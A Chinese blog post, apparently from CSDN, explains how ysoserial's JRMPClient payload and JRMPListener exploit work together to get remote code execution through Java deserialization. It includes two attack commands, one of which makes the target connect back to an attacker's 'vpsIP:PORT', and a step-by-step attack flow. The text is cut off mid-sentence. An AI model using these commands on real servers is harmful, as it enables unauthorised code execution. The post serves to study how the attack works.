jrmp协议_ysoserial JRMP相关模块分析(二)- payloads/JRMPClient & exploit/JRMPListener

简介

payloads/JRMPClient 生存的 payload 是发送给目标机器的,exploit/JRMPListener 是在自己服务器上使用的,payloads/JRMPClient 的利用,离不开 exploit/JRMPListener ,反之 exploit/JRMPListener 的利用,在上篇文章中,它是可以独立使用的

这篇文章是记录 payloads/JRMPClient 的分析流程,还会结合 exploit/JRMPListener 一起分析

利用流程

网上见到的利用方式:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 12345 CommonsCollecitons1 'calc.exe'

java -jar ysoserial.jar JRMPClient 'vpsIP:PORT' > vulrServer

这个payloads/JRMPClient 是结合 exploit/JRMPListener 使用的(还没看exploit/JRMPClient)

在自己的 vps 上挂起 exploit/JRMPListener (可自定义反序列化 payload)。

将 payloads/JRMPClient 生成的 payload (指定自己vps的IP和端口)发送到漏洞服务器上,反序列化时,将会根据 JRMP 协议反向连接 vps ,在通信的同时,vps 会将指定好的payload 序列化后再次发送到漏洞服务器上,利用正在与 vps 上 exploit/JRMPListener 通信的 JRMPClient 第二次反序列化 vps 发送过来的payload,从而造成 RCE

攻击流程:

vps 跑起 exploit/JRMPListener ,并指定生成 payload1

2.向漏洞服务器发送 payloads/JRMPClient 生成的 payload2

3.漏洞服务器反序列化 payload2

4.反序列化 payload2 的过程中,将会与 exploit/JRMPListener 进行通信

5.exploit/JRMPListener 自定义了来自任意 JRMP client 的通信处理流程,会将 payload1 返馈给漏洞服务器

6.漏洞服务器会根据 exploit/JRMPListener 设计的通信处理流程,进一步反序列化 payload1

7.payload1 中包含了 RCE 的gadget构造,最终在漏洞服务器上执行任意代码

payload1 中主要利用通用库比如 commons-collections 等

payload2 中主要利用漏洞服务器自带的 jre 中绝对含有的 RMI 相关的gadget

(payload2需要满足两个条件,1:反连vps ,2:第二次反序列化)

(但是和利用漏洞服务器已经开启 RMI server 的 RMI gadget 不同(原理差不多࿰

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值